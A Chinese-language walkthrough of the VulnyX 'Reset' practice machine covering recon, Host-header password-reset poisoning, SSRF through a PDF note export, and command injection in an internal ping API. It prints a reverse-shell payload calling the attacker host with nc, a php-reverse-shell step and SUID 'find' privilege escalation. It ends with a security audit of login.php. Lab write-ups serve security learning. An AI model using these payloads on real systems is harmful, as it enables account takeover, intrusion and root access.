vulnyx-Reset靶场渗透

https://vulnyx.com/

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.144

  1. 扫描服务器开放了哪些端口,有什么服务

    nmap -sV -T4 -p- -A 192.168.23.144

开放了 22,80 端口

  1. 访问 80 端口开放的 HTTP 服务

扫描识别网站指纹

复制代码
whatweb -v http://192.168.23.144/
  1. 扫描网站子目录

    dirsearch -u http://192.168.23.144 -x 403,404

网站存在静态营销页面、导航菜单、以及登录、注册页面,看看能不能做什么事情。信息收集得到一些邮箱

复制代码
Zuha zuha@reset.nyx
Yunjin yunjin@reset.nyx
Admin admin@reset.nyx 

登录页面通关邮箱和密码进行身份验证。存在创建账户与忘记密码选项,说明存在账户管理功能,这些功能可能成为漏洞利用点

  1. 使用 burpsuite 测试网站重置密码功能是否可以利用。使用admin@reset.nyx账户发送重置密码的请求

将该请求转发至 repeterer 模块,直接发送会显示:如果该电子邮箱对应的账户已存在,那么已发送了重置链接。消息可能需要一段时间才能送达......

尝试将请求头的 host 值篡改为攻击者 IP 192.168.23.128

此时回显状态码 400,意味着服务器未接受错误的主机头值,且存在着主机验证

那么我再添加额外的 X-Host:192.168.23.128 头部,用于检查在创建服务器重置链接时是否使用了外部头部值

此时如果服务器工具这个头部生成认证 URL 或者重置密码的链接,那么攻击者就可以修改它实现 Host 头部注入或密码重置攻击

  1. 正式攻击开始,攻击机打开对 80 端口的监听,以便将重置链接的 URL 导向攻击机

    python -m http.server 80

然后 burpsuite 上面修改请求头,然后发送密码重置请求,由于 X-Host 的头部呗攻击者 IP 和端口篡改,则服务器响应的资源会指向攻击者地址

复制代码
POST /forgot_password.php HTTP/1.1
Host: 192.168.23.144
X-Host:192.168.23.128:80
Content-Length: 23
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.23.144
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.23.144/forgot_password.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=8vkiud1lg8hgsprsr8gq3bc7o4
Connection: keep-alive

email=admin%40reset.nyx

kali 成功接收篡改账户密码的网页 /change_password.php?token=6c907441fc4d4735f1ea04f1d978540a

然后修改账户密码为 1

成功进入 admin 用户

  1. 管理员面板中的笔记部分允许用户创建,删除保存笔记。还可以将笔记到处为 PDF,CSV 的文件格式,这意味着我们可以尝试利用代码执行漏洞
复制代码
mousepad exp.php
php -S 0.0.0.0:80 exp.php

<?php header("Location: file:///etc/passwd"); ?>

写入一个笔记,实际上是文件包含了攻击者服务器的 exp.php 构成代码执行

复制代码
<iframe src="http://192.168.23.128/exp.php" width="1000" height="800"></iframe>

导出笔记验证是否构成代码执行漏洞

http://192.168.23.144/notes/export.php?format=pdf

果然存在,那么可以尝试进行反弹 shell

  1. 尝试 远程文件包含 kali 自带的反弹 shell。注意修改反弹木马的端口 IP,注意开启攻击机监听在 80 端口的 web 服务以便文件包含到 shell.php

    cp /usr/share/webshells/php/php-reverse-shell.php shell.php
    mousepad shell.php
    nc -lvvp 4444

这么操作是失败的,可以检查一下是否是靶机设置的安全规则阻拦了外联行为

复制代码
mousepad exp.php

<?php header("Location: file:///proc/net/tcp"); ?>

<iframe src="http://192.168.23.128/exp.php" width="1000" height="800"></iframe>

http://192.168.23.144/notes/export.php?format=pdf

是查看了 /proc/net/tcp获取了目标机器的网络连接状态表

|--------|-----------------|--------------------|---------------|----------------------------------------|
| 索引 | 本地地址 (Hex) | 本地地址 (Dec) | 状态 | 说明 |
| 0 | 00000000:0016 | 0.0.0.0:22 | 0A (LISTEN) | SSH 服务:在所有接口监听 22 端口(与 Nmap 结果一致)。 |
| 1 | 0100007F:2328 | 127.0.0.1:9000 | 0A (LISTEN) | 关键发现 :一个仅在本地回环接口监听的 9000 端口服务。 |

关键点解析

  • 0100007F 是小端序(Little-endian)存储的 IP 地址,即 7F 00 00 01 -> 127.0.0.1
  • 2328 是十六进制端口 -> 2 \\times 16\^3 + 3 \\times 16\^2 + 2 \\times 16\^1 + 8 \\times 16\^0 = 8192 + 768 + 32 + 8 = 9000

在典型的 Linux 环境中,127.0.0.1:9000 通常关联以下服务:

  1. PHP-FPM:这是最常见的情况。如果 80/443 端口运行着 Nginx,它会通过 9000 端口与 PHP-FPM 通信。
    • 攻击思路 :如果你有 SSRF 漏洞,可以尝试通过 FastCGI 协议直接攻击这个端口实现 RCE
  1. FastCGI / 自定义 API:可能是一个内部的管理接口。

  2. Xdebug:如果是开发环境,9000 端口常用于远程调试,这通常可以直接导致代码执行。

  3. 尝试通过 PDF 去获取 127.0.0.1:9000 的网页是什么样子的

    mousepad exp.php

    <?php $url = 'http://127.0.0.1:9000'; ?>

1. 整体架构分析:内部 API 门户

笔记提到的 api.php 表明后端使用 PHP 处理逻辑。由于这是一个"内部门户",它可能就是之前我们在 proc/net/tcp 中发现的、运行在本地回环接口(127.0.0.1)上的服务。外部 Nmap 扫不到它,必须通过 Web 层的 SSRF 或已获得的本地 Shell 访问。

2. 员工信息接口(Staff API)

  • 端点: GET /api.php/users/{username}
  • 功能: 内部员工管理与数据检索。
  • 安全提示: "Access restricted to authorized service accounts"(仅限授权服务账户访问)。
  • 渗透点:
    • 信息泄露: 该接口可能返回敏感信息,如员工的哈希密码、邮箱、手机号或内网权限等级。
    • 越权访问: 虽然提示有限制,但如果后端仅仅依赖 IP 来源检查(即只要是 127.0.0.1 访问就信任),那么配合 SSRF 漏洞,攻击者可以直接枚举并获取所有员工的资料。
    • 注入风险: {username} 参数如果未经过滤直接带入数据库查询,可能存在 SQL 注入。

3. 网络诊断工具(Network Utility)

  • 端点: GET /api.php/utils/ping?host={hostname_or_ip}
  • 功能: 提供网络诊断(Ping)功能。
  • 安全提示: "Input is sanitized against command injection"(输入已针对命令注入进行净化)。
  • 渗透点:
    • 命令执行(RCE): 开发者特意提到"已进行净化",这往往是此地无银三百两 。在 PHP 中,实现 Ping 功能通常会调用系统函数如 shell_exec()system()
    • 绕过技术: 即使进行了初步过滤,开发者往往只过滤了分号 ;&&。攻击者可以尝试利用换行符(%0a)、反引号(`````)、或者管道符(|)来绕过过滤,从而执行任意系统命令。

4. 关键逻辑联系:从 SSRF 到 RCE

这份笔记与你之前的发现逻辑完美闭环。

  1. 入口点: 利用之前发现的 partner-check 接口作为 SSRF 跳板。

  2. 攻击目标: 访问本地 9000 端口或 Web 服务上的 /api.php/utils/ping

  3. 攻击 Payload 构造: 通过 SSRF 发送类似以下的请求: url=http://127.0.0.1/api.php/utils/ping?host=127.0.0.1%0acat /etc/passwd

  4. 最终目的: 绕过笔记中提到的"Input sanitization",利用 Ping 工具的系统调用权限,反弹一个真正的权限 Shell。

  5. 尝试通过内部 API 门户绕过对端口的限制实现 RCE

存在 RCE 漏洞,如法炮制出反弹 shell 的命令

复制代码
<iframe src="http://127.0.0.1:9000/api.php/utils/ping?host=127.0.0.1|busybox${IFS}nc${IFS}192.168.23.128${IFS}4444${IFS}-e${IFS}sh" style="width:100%; height:500px;"></iframe>

nc 监听之后,成功 getshell

  1. 启动一个可交互式 shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

启动失败,凑合着用。信息收集一下

复制代码
id 
uname -a
lsb_release -a

然后再看能否通过 suid 配置缺陷尝试提权

复制代码
find / -perm -4000 2>/dev/null

查数据库 find 怎么 suid 提权

复制代码
find . -exec /bin/sh -p \; -quit

1. 命令结构深度拆解

  • find .:在当前目录开始搜索。这只是为了启动 find 进程,具体搜什么不重要。
  • -exec ... ;:这是 find 的一个功能强大的参数,用于对搜索到的每个文件执行指定的系统命令。
  • /bin/sh:这是要执行的程序(一个 Shell)。
  • -p:这是一个关键标志位(Privileged mode)。
    • 作用 :在许多现代 Shell(如 bashsh)中,如果发现进程的实际用户 ID(RUID)与有效用户 ID(EUID)不一致,Shell 会自动将 EUID 重置为 RUID,从而导致提权失败。使用 -p 参数可以强制 Shell 保持 SUID 带来的有效用户 ID,不进行重置。
  • -quit:告诉 find 在执行完第一次 -exec 后立即退出。如果不加这个,find 会针对当前目录下的每一个文件都启动一个 root 权限的 Shell,会导致终端卡死或产生大量进程。

2. 提权原理解析:SUID 的威力

提权的核心不在于命令本身,而在于系统的 权限位设置

  1. 前提条件 :管理员错误地给 find 增加了 SUID 位。你可以通过以下命令发现这种风险: find / -perm -u=s -type f 2>/dev/null
  2. 身份转换
    • 当你运行普通的 ls 时,进程权限 = 你的用户权限(如 svc-ocr)。
    • 当你运行带有 SUID 的 root.find 时,操作系统内核会将该进程的 有效用户 ID (EUID) 提升为文件所有者(即 root)。
  1. 劫持执行find-exec 参数允许它启动子进程。由于父进程(find)已经是 root 权限,它启动的子进程(/bin/sh)自然也继承了 root 权限。
  2. 最终结果 :你获得了一个提示符为 # 的 Shell,此时你拥有对系统的完全控制权。

成为 root,得到 flag

靶场源码分析

1. login.php

复制代码
<?php
require_once 'config.php';
session_start();
 
if (isset($_SESSION['username'])) {
    header('Location: dashboard.php');
    exit();
}

$message = '';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $email = trim($_POST['email']);
    $password = trim($_POST['password']);

    if (empty($email) || empty($password)) {
        $message = '<p class="error">Please fill in all fields.</p>';
    } else {
        $users_file = '/opt/users.json';
        $users = json_decode(file_get_contents($users_file), true);

        if (isset($users[$email]) && password_verify($password, $users[$email]['password'])) {
            $_SESSION['email'] = $email;
            $_SESSION['username'] = $users[$email]['username'];
            $_SESSION['role'] = ($users[$email]['username'] === 'admin') ? 'admin' : 'user';
            
            header('Location: dashboard.php');
            exit();
        } else {
            $message = '<p class="error">Incorrect email or password.</p>';
        }
    }
}
?>

针对这段 PHP 登录代码,从代码审计(Code Audit)的角度来看,虽然它使用了 password_verify 这种安全的哈希校验方式,但仍存在多个中高危漏洞架构缺陷

以下是详细的漏洞分析:


1.1. 缺乏防暴力破解机制(Brute Force Vulnerability)

严重程度:高

  • 分析:代码中没有任何关于登录失败次数限制、验证码(CAPTCHA)或请求频率限制(Rate Limiting)的逻辑。
  • 后果 :攻击者可以使用字典或爆破工具(如 Intruder)对 emailpassword 进行无限次的尝试,直到猜对为止。

1.2. Session 固定攻击(Session Fixation)

严重程度:中

  • 分析 :在登录成功并设置 $_SESSION 变量时,代码没有调用 session_regenerate_id(true)
  • 后果:如果攻击者能够预测或固定一个 Session ID(例如通过 URL 传参或 XSS 注入),并在用户登录后继续使用该 ID,就可以直接接管用户的会话,无需密码。

1.3. 敏感数据存储位置不当(Insecure Data Storage)

严重程度:高(系统级风险)

  • 分析 :用户信息存储在 /opt/users.json 文件中。
  • 后果
    • 文件包含/读取风险 :如果服务器上存在任何 LFI(本地文件包含)任意文件读取 漏洞,攻击者可以直接获取整个用户数据库的哈希值。
    • 权限配置要求 :Web 服务进程(如 www-data)必须对该路径有读取权限。如果配置不当(如 777 权限),系统内其他低权限用户也能窃取数据。

1.4. 反射型 XSS(Potential Reflected XSS)

严重程度:低/中

  • 分析 :虽然当前的 $message 变量内容是硬编码的(如 "Please fill in all fields."),但如果开发者后续修改代码,将 $_POST['email'] 等用户输入直接拼接进 $message 并在页面输出,且没有使用 htmlspecialchars(),则会触发 XSS。
  • 注意:在当前截取的代码片段中,虽然输出部分未显示,但这种存储错误信息并在前端渲染的模式是 XSS 的高发区。

1.5. 逻辑风险:基于字符串的角色判定(Logic Flaw)

严重程度:中

  • 分析$_SESSION['role'] = ($users[$email]['username'] === 'admin') ? 'admin' : 'user';
  • 后果 :权限判定完全依赖于 username 这个字符串。如果攻击者能够通过其他漏洞(如 JSON 注入或后台配置文件修改)更改自己的 usernameadmin,即可实现垂直越权,获得管理员权限。

1.6. 拒绝服务风险(Potential DoS)

严重程度:低

  • 分析file_get_contents 会将整个 JSON 文件加载进内存,随后 json_decode 将其转换为数组。
  • 后果 :如果用户基数非常大(例如 users.json 增长到几百 MB),每次登录尝试都会消耗大量内存和 CPU 资源,容易导致服务器内存溢出或响应极慢。

1.7. 改进建议(Secure Coding)

  1. 会话重置 :登录成功后立即执行 session_regenerate_id(true);
  2. 增加延迟 :在登录失败的 else 分支加入 usleep(250000);(模拟 0.25 秒延迟)以减缓爆破速度。
  3. 使用数据库 :将用户信息移入数据库(如 MySQL),并使用 预处理语句(Prepared Statements) 以防止 SQL 注入。
  4. 权限最小化 :确保 users.json 不能被 Web 直接访问,且仅能被特定服务账号读取。
  5. 输出转义 :在 HTML 模板中显示 $message 时,务必使用 <?php echo htmlspecialchars($message); ?>
相关推荐
上海合宙LuatOS2 小时前
LuatOS 课程-011 讲:GNSS应用开发
网络·物联网·lua·luatos
优化Henry2 小时前
LTE站点频闪退服告警根因定位与处理
运维·网络·信息与通信
艾莉丝努力练剑3 小时前
【Linux网络】计算机网络入门:Socket编程预备,从字节序共识到 Socket 地址结构的“伪多态”设计
linux·服务器·网络·c++·学习·计算机网络
Oll Correct11 小时前
实验二十一:验证OSPF可以划分区域
网络·笔记
半个西瓜.13 小时前
车联网安全:GPS定位测试.(静态欺骗)
网络·安全·网络安全·车载系统·安全威胁分析
pengyi87101513 小时前
独享IP+动态IP结合核心逻辑,破解稳定与灵活的矛盾
linux·运维·网络
梅羽落18 小时前
MSF基础1
网络·网络协议·tcp/ip
被摘下的星星19 小时前
子网de划分
网络·算法
xiaoshuaishuai819 小时前
C# modbustcp的ack包通信延迟原因
网络·tcp/ip·c#